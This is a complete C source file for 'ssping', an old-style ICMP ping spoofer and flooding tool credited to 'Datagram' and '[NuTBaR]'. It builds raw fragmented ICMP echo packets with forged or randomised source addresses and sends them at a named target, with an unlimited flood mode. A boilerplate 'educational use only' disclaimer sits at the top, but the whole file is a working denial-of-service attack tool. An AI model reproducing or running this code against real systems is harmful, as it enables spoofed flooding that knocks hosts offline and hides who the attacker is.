/*
 *                          ssping.c - ICMP Ping Spoofer
 *
 *  Author: Datagram
 *  Modifications: [NuTBaR]
 *
 *  Disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine
 *     This is for educational use only. Please don't abuse the use of this
 */

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#define VERSION "[1;36m([0;36m1[1;36m.[0;36m0[1;36m)[0m"
#define PROGNAME "[0;36mSSP[1;36mi[0;36mNG[0m"
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

int twirly(int *);
void cleanup(int);
u_short chksum(u_short *, int);
void ssping(struct sockaddr_in *, struct sockaddr_in *);
void resolve(const char *, struct sockaddr_in *, u_int, const char *, struct sockaddr_in *, u_int);

char sourcename[256], targetname[256];
u_long sourcelong = 0, targetlong = 0;
struct sockaddr_in sourceaddr, targetaddr;

void cleanup(int code) {
   printf("[0m\n\n"); exit(1);
}

int twirly(int *twirl) {
   if (*twirl > 3) *twirl = 0;
   switch ((*twirl)++) {
      case 0: return('|'); break; case 1: return('/'); break;
      case 2: return('-'); break; case 3: return('\\'); break;
   }
}

u_short chksum(u_short *addr, int len) {
   u_short answer = 0;
   register int sum = 0;

   for (sum = 0; len >= 1; len -= 2) sum += *addr++;
   sum  = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;

   return(answer);
}

void resolve(const char *sname, struct sockaddr_in *source, u_int sport, const char *tname, struct sockaddr_in *target, u_int tport) {
   struct hostent *shost, *thost;

   bzero((char *)source, sizeof(struct sockaddr_in));
   if ((shost = gethostbyname(sname)) == NULL) {
      printf("\n[0;36mError[1;36m:[0m Resolving source address\n\n"); exit(1);
   }
   memcpy((caddr_t)&source->sin_addr, shost->h_addr, shost->h_length);
   source->sin_family = AF_INET;
   source->sin_port   = htons(sport);
   sourcelong = sourceaddr.sin_addr.s_addr;
   strcpy(sourcename, (char *)inet_ntoa(sourcelong));

   bzero((char *)target, sizeof(struct sockaddr_in));
   if ((thost = gethostbyname(tname)) == NULL) {
      printf("\n[0;36mError[1;36m:[0m Resolving target address\n\n"); exit(1);
   }
   memcpy((caddr_t)&target->sin_addr, thost->h_addr, thost->h_length);
   target->sin_family = AF_INET;
   target->sin_port   = htons(tport);
   targetlong = targetaddr.sin_addr.s_addr;
   strcpy(targetname, (char *)inet_ntoa(targetlong));
}

void ssping(struct sockaddr_in *source, struct sockaddr_in *target) {
   char *packet;
   struct iphdr *ip;
   static int sock = 0;
   struct icmphdr *icmp;

   if (!sock) {
      if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
         printf("[0;36mError[1;36m:[0m Getting raw socket\n\n"); exit(-1);
      }
   }

   if ((packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + 8)) < 0) {
      printf("\n[0;36mError[1;36m:[0m Getting space for packet\n\n"); exit(1);
   }
   memset(packet, 0, IPHDRSIZE + ICMPHDRSIZE + 8);

   ip           = (struct iphdr *)packet;
   ip->version  = 4;
   ip->ihl      = 5;
   ip->tos      = 0;
   ip->tot_len  = 0;
   ip->id       = random()%255;
   ip->frag_off |= htons(0x2000);
   ip->ttl      = 255;
   ip->protocol = IPPROTO_ICMP;
   bcopy((char *)&target->sin_addr, &ip->daddr, sizeof(ip->daddr));
   bcopy((char *)&source->sin_addr, &ip->saddr, sizeof(ip->saddr));
   ip->check    = chksum((u_short *)ip, IPHDRSIZE);

   icmp           = (struct icmphdr *)(packet + IPHDRSIZE);
   icmp->type     = 8;
   icmp->code     = 0;
   icmp->checksum = chksum((u_short *)icmp, ICMPHDRSIZE + 8);

   if (sendto(sock, packet, IPHDRSIZE + ICMPHDRSIZE + 8, 0, (struct sockaddr *)target, sizeof(struct sockaddr)) != IPHDRSIZE + ICMPHDRSIZE + 8) {
      printf("\n[0;36mError[1;36m:[0m Sending raw packet\n\n"); exit(1);
   }

   ip->tot_len  = htons(IPHDRSIZE + ICMPHDRSIZE + 8);
   ip->frag_off = htons(8 >> 3);
   ip->frag_off |= htons(0x2000);
   ip->check    = chksum((u_short *)ip, IPHDRSIZE);

   icmp->type     = 8;
   icmp->code     = 0;
   icmp->checksum = 0;

   if (sendto(sock, packet, IPHDRSIZE + ICMPHDRSIZE + 8, 0, (struct sockaddr *)target, sizeof(struct sockaddr)) != IPHDRSIZE + ICMPHDRSIZE + 8) {
      printf("\n[0;36mError[1;36m:[0m Sending raw packet\n\n"); exit(1);
   }
   free(packet);
}

int main(int argc, char *argv[]) {
   u_int flood = 0, twirl = 3;
   u_int count = 0, delay = 0;

   signal(SIGINT, cleanup);
   srandom(time(NULL) + getpid());
   printf("[0m\n\t%s %s Code Author[1;37m:[0m [0;36m[NuTBaR][0m\n\n", PROGNAME, VERSION);
   if (argc != 5) {
      printf("  [0;36mUsage[1;36m:[0m %s <[1;37msource[0m> <[1;37mtarget[0m> <[1;37mcount[0m> <[1;37mdelay[0m>\n\n", argv[0]);
      printf("  <[1;37msource[0m> [1;36m- [0;36mSource addy[0m\n");
      printf("  <[1;37mtarget[0m> [1;36m- [0;36mTarget addy[0m\n");
      printf("  <[1;37mcount[0m>  [1;36m- [0;36mPacket count[0m\n");
      printf("  <[1;37mdelay[0m>  [1;36m- [0;36mPacket delay[0m\n\n");
      exit(1);
   }

   strcpy(sourcename, argv[1]); strcpy(targetname, argv[2]);
   if (!strcmp(argv[1], "0")) strcpy(sourcename, targetname);
   resolve(sourcename, &sourceaddr, 0, targetname, &targetaddr, 0);
   count = atoi(argv[3]); delay = atoi(argv[4]); if (!count) flood = 1; if (!delay) delay = 1;
   printf("[0;36mTarget[1;36m:[0m [[1;37m%15s[0m]  [0;36mSpecs[1;36m:[0m [[1;37m%9.5f[0;36mKb/s[0m]\n", targetname, (8 + IPHDRSIZE + ICMPHDRSIZE) * 1000 / (float)delay / 1024);

   if (flood) {
      if (strcmp(argv[1], "0")) do {
         resolve(sourcename, &sourceaddr, 0, targetname, &targetaddr, 0); ssping(&sourceaddr, &targetaddr);
         printf("\r[0;36mSource[1;36m:[0m [[1;37m%15s[0m]  [0;36mCount[1;36m:[0m [[1;37m%9s[0m] [[1;33m%c[0m]", sourcename, "unlimited", twirly(&twirl));
         fflush(stdout); usleep(delay);
      } while (flood);
      else do {
         sprintf(sourcename, "%d.%d.%d.%d", 1+random()%254, 1+random()%254, 1+random()%254, 1+random()%254);
         resolve(sourcename, &sourceaddr, 0, targetname, &targetaddr, 0); ssping(&sourceaddr, &targetaddr);
         printf("\r[0;36mSource[1;36m:[0m [[1;37m%15s[0m]  [0;36mCount[1;36m:[0m [[1;37m%9s[0m] [[1;33m%c[0m]", sourcename, "unlimited", twirly(&twirl));
         fflush(stdout); usleep(delay);
      } while (flood);
   }
   else {
      if (strcmp(argv[1], "0")) do {
         resolve(sourcename, &sourceaddr, 0, targetname, &targetaddr, 0); ssping(&sourceaddr, &targetaddr);
         printf("\r[0;36mSource[1;36m:[0m [[1;37m%15s[0m]  [0;36mCount[1;36m:[0m [[1;37m%9u[0m] [[1;33m%c[0m]", sourcename, count, twirly(&twirl)); fflush(stdout);
         fflush(stdout); usleep(delay);
      } while (count--);
      else do {
         sprintf(sourcename, "%d.%d.%d.%d", 1+random()%254, 1+random()%254, 1+random()%254, 1+random()%254);
         resolve(sourcename, &sourceaddr, 0, targetname, &targetaddr, 0); ssping(&sourceaddr, &targetaddr);
         printf("\r[0;36mSource[1;36m:[0m [[1;37m%15s[0m]  [0;36mCount[1;36m:[0m [[1;37m%9u[0m] [[1;33m%c[0m]", sourcename, count, twirly(&twirl)); fflush(stdout);
         fflush(stdout); usleep(delay);
      } while (count--);
   }
   printf("[0m\n\n");

   return(0);
}
